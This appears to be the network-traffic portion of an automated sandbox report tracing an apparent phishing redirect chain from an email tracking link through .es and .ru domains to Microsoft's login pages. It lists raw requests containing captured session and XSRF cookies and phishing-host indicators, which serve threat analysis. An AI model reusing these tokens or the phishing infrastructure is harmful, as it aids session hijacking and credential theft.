laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /uvS8H5UapJWbxIjy8CP8aivIvP4l2URIMo14h459BC0wEeoEk9HeIdE17MoatY4CH42C2iA2zef259 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://mw35.ntnjxtm.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /NtdrgTBjFlAQqvJodYojFKNZLFDBLCJSQJLNBAGXHEFEHCINHHCZBCANACGCAKBXQNXYYALFVZWXFTrsMNm4O7EkDsyk122C6fMFuv38 HTTP/1.1Host: kkmjqvsvvaa6ngoiljmdetqxm3ochus2brqkjpbbddbqyxpi4owk1k.idrisxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /xhlW4mAR3XLeDE1j0l0MdiZSDcmn6u7QdWJdkmAkGX5fYJ0tmcm HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilk4Q2NKZTBYeGliR0NkSnF1WTRjWVE9PSIsInZhbHVlIjoiL3B2bExlVG1QTVhuNmxSUi9tcjlpZDVJakFkMldtWGNkdGxjdWEyQ1d2emtRbkJySXFxYmhMQldRUitiRmhzWDZNd3pUUTZBWkJQRzdQNm8wdy9BenlTaWZQRHJrRFpkdjJyK1VlWDRYR1dFRWF3NmwwUUtuSDNiM0QzUTZQc2giLCJtYWMiOiI5ZjdlN2U5YWZjMGVjMmUwODgxZTY1YTkwNWU1YjQ2NGU5OWMxNWM1MmU0YTBlYTMyMWE1MmZkNmZkODdlMTI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkxVMXBjblFjS3FUZkpwSkl0aWJZUXc9PSIsInZhbHVlIjoic2lCUHpoZHIrWDU5dmhSRWI3TnAzczlFSXQ4Q1VEdUtuYjg5b29aM0QzVW93M29xTzl6ekMxNkxOSjUrZWNMZmlKUzhGUjNUWWJxRWRIUE15TlZHOGIrNlZWczNtaS8yOTd5aUk3elhQUXZaY0FLOXJ2VTVnKzZWdkdjb25SR0wiLCJtYWMiOiIzMTMwNzMwNGYwOWViZTZjMzk2NTkwM2FhMTY2OGFlMzllMzA2MTA3ZDA3NThmOWZhNTM4MTA4M2VjNTVlY2M2IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /xhlW4mAR3XLeDE1j0l0MdiZSDcmn6u7QdWJdkmAkGX5fYJ0tmcm HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikc0ODQza3pIM1NjUlpsWXordmFGeFE9PSIsInZhbHVlIjoiSXZjMGtBeUV5T0hKWUxudkNQVVh2ekxSMGVva0QrQWp6SDF2RVhZdk1VeWo4TnhuMkxxeVBiTXBTTTlETTEyb0JnOHgrdEtQb1VYVmpiMkRQamNtSUZQRG1YNHdwa0pGZCthaTRGZ2twRVl1V1hUM2lmbXNKTlFraEN6RUZYeWoiLCJtYWMiOiJmZTBmODcyNjE0YTY4YWZmYmZmZDVmNTgwMDJiYmNkODk3ZjUzZWQwMzk0NmJkZDkxOTY3ZGZlNzQwOTQ2MTcyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdPeHJKQW12SWVZaFJTKzdUVEpLdFE9PSIsInZhbHVlIjoidFFkRFpCcnY5ZmdwWG9rWXlrMG9mL1pKUU5BalpySmMyeHg2YlNtcDd0NnF3WVdMVkRLVUJPS2JkeGV0TXRvd1IyYmFaSklTeFhzNlFNenRqUVFjMnV2QzlKejhpQnpnZmZ0dXgveTY0S0R1anRxa3AwQVY4aTV6UGpPSGlSL3ciLCJtYWMiOiJiNjY4NGE1ZDNhNzU5ZDUxNmQ3MmNlNDk0NWI1MjJjZTFmM2E2ODRiMjU0NDFlODAyOTZhNzYzNTAwYjllYTZjIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /common/SAS/ProcessAuth HTTP/1.1Host: login.microsoftonline.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /shared/1.0/content/js/ConvergedError_Core_PWRgAKrzdYnFW2jQnv9chg2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveOrigin: https://login.microsoftonline.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: login.microsoftonline.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; fpc=AhW2BLnrWKxKtjOX6hEmTqw; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEKJ7g2zuqh4TLdDYch9afuU2zkZcgoIhiuopc35oOjW2CWTZq-yKjbLrcaTUne-Dg8YosvvfblTeS1yL8ew4NXWwnhMzCyN8GoZfT2oQc7jyqSlo2m2YH9Abaj4recLPetxIz35EqFoAYkpMw5N9WeuponUK-lMJtH-uAqW4oeQ0gAA; MicrosoftApplicationsTelemetryDeviceId=4b2be262-36dd-43b3-b796-bdb569be9898
              Source: global trafficDNS traffic detected: DNS query: u17065553.ct.sendgrid.net
              Source: global trafficDNS traffic detected: DNS query: clever-link-safeguard.lovable.app
              Source: global trafficDNS traffic detected: DNS query: cdn.gpteng.co
              Source: global trafficDNS traffic detected: DNS query: static.cloudflareinsights.com
              Source: global trafficDNS traffic detected: DNS query: www.google.com
              Source: global trafficDNS traffic detected: DNS query: mw35.ntnjxtm.es
              Source: global trafficDNS traffic detected: DNS query: code.jquery.com
              Source: global trafficDNS traffic detected: DNS query: challenges.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: cdnjs.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: developers.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: t0b1.qakaco.ru
              Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: github.com
              Source: global trafficDNS traffic detected: DNS query: ok4static.oktacdn.com
              Source: global trafficDNS traffic detected: DNS query: objects.githubusercontent.com
              Source: global trafficDNS traffic detected: DNS query: get.geojs.io
              Source: global trafficDNS traffic detected: DNS query: kkmjqvsvvaa6ngoiljmdetqxm3ochus2brqkjpbbddbqyxpi4owk1k.idrisxw.es
              Source: global trafficDNS traffic detected: DNS query: login.microsoftonline.com
              Source: global trafficDNS traffic detected: DNS query: aadcdn.msftauth.net
              Source: unknownHTTP traffic detected: POST /cdn-cgi/rum? HTTP/1.1Host: clever-link-safeguard.lovable.appConnection: keep-aliveContent-Length: 1707sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"content-type: application/jsonsec-ch-ua-mobile: ?0Accept: */*Origin: https://clever-link-safeguard.lovable.appSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://clever-link-safeguard.lovable.app/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:40:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a5g52m2p36ITagBgnHpp4NOJ%2FyzwCrHO%2Fwa5wdPPf1JRoTEIOybNWt0YODcJDTiC2XcC1GLHxtYLoCg5iTfse%2B314wVSONutfhDnJMtJCaafOvUJM2pZscobEQbj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=372&min_rtt=368&rtt_var=147&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2045&delivery_rate=9985185&cwnd=252&unsent_bytes=0&cid=9eb93dd883de5f18&ts=186&x=0"Server: cloudflareCF-RAY: 922cb174bee3a067-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=593&min_rtt=550&rtt_var=237&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1708&delivery_rate=5265454&cwnd=239&unsent_bytes=0&cid=936db13f732b1110&ts=468&x=0"
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:40:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nARz9flSF%2FyF%2FmA6WcDfm%2FI5bwhK%2FFia81iPPIsmkU0cKTmXABtLE2untnVJ7ihLK4rqdFOsnK5dBYwNFajwCbe79EObXjnxm%2FKHWgSYRZ%2F9uL0bqmjUuuf%2B4eEW"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer-Timing: cfL4;desc="?proto=TCP&rtt=337&min_rtt=317&rtt_var=159&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2232&delivery_rate=8477987&cwnd=252&unsent_bytes=0&cid=029d97fb54ae2ad1&ts=191&x=0"Cache-Control: max-age=14400Cf-Cache-Status: EXPIREDCF-RAY: 922cb1787cd0d399-FRAalt-svc: h3=":443"; ma=86400
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:40:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B3zYZeGhZxrpWOCMwswkGlJRO5fogFeuQR14K28MTZVupDjNnz%2FrvvlHKlHn7ELzDaK6HqxwHZlJ1zpWga%2FOSl0BKTKQETzxRhFxi2wJWoYEqffObI%2FdUH%2BGq3FT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=355&min_rtt=349&rtt_var=143&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2050&delivery_rate=10110000&cwnd=252&unsent_bytes=0&cid=e3f8933e630b75fd&ts=188&x=0"Server: cloudflareCF-RAY: 922cb17b282c5d73-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=577&min_rtt=534&rtt_var=231&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1713&delivery_rate=5423220&cwnd=225&unsent_bytes=0&cid=0e7ba4316814a29a&ts=495&x=0"
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:40:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QW6LLb8HbVg7hgCZuPm8pIZyo8KfgKEcIDQE1Y1XQRBck5wxpPqrZQunwLs0yEmK6C10DRU9u7ExXNAlUl7NhUqCkgxeWStokpayFX%2B2%2FtLcYRPGSRrubxtlSSr9"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=18632&min_rtt=18631&rtt_var=6988&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2061&delivery_rate=216964&cwnd=201&unsent_bytes=0&cid=be5b9035a1b88adf&ts=190&x=0"Server: cloudflareCF-RAY: 922cb194aba4d25c-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=592&min_rtt=568&rtt_var=230&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1725&delivery_rate=5098591&cwnd=247&unsent_bytes=0&cid=7637c2099504af91&ts=1227&x=0"
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:41:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y%2BnGMtKteXychVFPextygZCRumgQal083V45lvg7e%2BGtxw95QAoI3dJ0sM2M2O%2F5YtqWTqcxxM4toQWg2IcUSJ5uh3dikMERwn49xTYfA%2FqAXXGbHZZdlyATRlER"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=334&min_rtt=294&rtt_var=157&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2062&delivery_rate=7747126&cwnd=252&unsent_bytes=0&cid=61252673517441a0&ts=197&x=0"Server: cloudflareCF-RAY: 922cb342386cbb5c-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=489&min_rtt=476&rtt_var=188&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1725&delivery_rate=6084033&cwnd=243&unsent_bytes=0&cid=16215213ff20f4a7&ts=481&x=0"
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:41:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pd9T7n5UCBOUUjmLss3kCuOMV3HAlZI87YQhD3InlgE8275e3EfyK7BG4ve0AR86Q0jQ%2BKcJFmvUKDilXvgsgkCeM%2FHbts7cJkm4Fw%2BoAiJBCQ0GR7jB3JjFfBAS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=16361&min_rtt=16352&rtt_var=6150&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2062&delivery_rate=246180&cwnd=246&unsent_bytes=0&cid=758af66904df4c07&ts=217&x=0"Server: cloudflareCF-RAY: 922cb35bfa98bb79-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=547&min_rtt=533&rtt_var=229&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1725&delivery_rate=4462249&cwnd=245&unsent_bytes=0&cid=f4ead750c11870fd&ts=529&x=0"
              Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
              Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
              Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
              Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49820 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49812 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49784 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49806 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
              Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
              Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
              Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
              Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49787 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49838
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49835
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
              Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
              Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
              Source: unknownNetwork traffic detected: HTTP traffic on port 49814 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49808 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
              Source: unknownNetwork traffic detected: HTTP traffic on port 49811 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704
              Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
              Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49702
              Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49788
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49787
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49820
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49786
              Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49784
              Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49783
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49781
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
              Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49704 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49807 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49810 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49815
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49814
              Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49813
              Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49812
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49811
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49810
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
              Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
              Source: unknownNetwork traffic detected: HTTP traffic on port 49679 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
              Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49671 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49802 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49809
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49808
